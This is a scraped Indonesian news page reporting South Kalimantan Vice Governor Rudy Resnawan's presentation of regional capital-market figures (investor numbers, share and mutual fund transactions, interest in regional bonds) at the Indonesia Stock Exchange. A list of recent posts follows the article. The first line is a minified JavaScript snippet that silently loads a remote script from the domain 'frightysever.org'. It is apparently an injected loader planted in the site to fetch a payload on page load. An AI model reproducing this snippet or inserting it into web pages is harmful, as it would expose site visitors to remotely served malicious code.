(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Bisnis

Wagub Rudy Resnawan Paparkan Potensi Bursa Efek Kalsel


BANJARBARU, Wakil Gubernur Kalsel H Rudy Resnawan memaparkan potensi kinerja industri Pasar Modal di Kalimantan Selatan, posisi Desember 2018 dalam sebuah forum resmi dihelat Indonesia Stock Exchange (IDX), di Gedung Bursa Efek Jakarta, Jumat (15/2).

Dalam paparannya di depan para pelaku usaha pasar modal nasional, Rudy Resnawan menjelaskan nilai kepemilikan saham di Provinsi Kalsel sebesar Rp 39,53 triliun. Berdasarkan data SID Total, jumlah investor di Kalsel sebanyak 14.263 investor. Data ini meningkat 67,94 persen secara yoy.

“Peningkatan jumlah investor di Kalsel merupakan yang tertinggi kedua di regional Kalimantan setelah Kalimantan Tengah,” terangnya.

Presentasi investor di Kalsel terhadap seluruh investor di regional Kalimantan adalah sebesar 22,73 persen. Sedang total transaksi saham di Kalsel dalam satu tahun terakhir sebesar Rp 3,26 triliun dengan rata-rata transaksi per bulan Rp 271, 56 miliar /bulan.

Masih dipaparkan Rudy Resnawan, total transaksi reksa dana di Kalsel dalam 1 tahun terakhir sebesar Rp 1, 77 triliun dengan rata-rata transaksi per bulan Rp 151, 60 miliar /bulan. Di Kalsel terdapat beberapa jaringan kantor pasar modal antara lain 1 Kpw BEI, 7 perusahaan efek, 1manager investasi dan 26 APERD.

Wagub Kalsel ini mengaku tertarik dengan obligasi daerah. Lantaran dengan adanya obligasi daerah bisa mendapatkan sumber pendanaan yang baru untuk melakukan pembangunan. “Kita sudah berbincang-bincang dengan Pak Direktur BEI maupun dengan OJK yang memberikan gambaran tentang obligasi daerah sebagai sumber pendanaan untuk lembangunan daerah ini sangat menarik sekali,” ujarnya.

Namun, dirinya belum bisa memastikan kemungkinan Pemprov Kalsel akan menerbitkan obligasi daerah. Sebab, harus mempelajari terlebih dahulu. “Ini saya diundang pertama untuk melakukan pembukaan perdagangan. Tadi sudah bincang-bincang dengan Pak Dirut, sangat banyak dapat masukan dari beliau, untuk bagaimana memggunakan obligasi daerah,” tambahnya. (Rico)


Desy Arfianty

Recent Posts

BRImo FSTVL 2024: Ratusan Ribu Hadiah Menanti Nasabah BRI! Nabung Lebih Banyak, Untung Lebih Besar!

KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More

2 menit ago

Proyek Jembatan Atanik Mataraman Molor, Cor Beton Belum Dikerjakan

Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More

1 jam ago

Arsip Tak Boleh Jadi Bungkus Kacang

Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More

1 jam ago

Tinggal Seorang Diri, Diana Didapati Tak Bernyawa di Kamar

KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More

3 jam ago

Kota Banjarbaru Terima Dump Truck Penghargaan Adipura 2023

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More

3 jam ago

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

17 jam ago

This website uses cookies.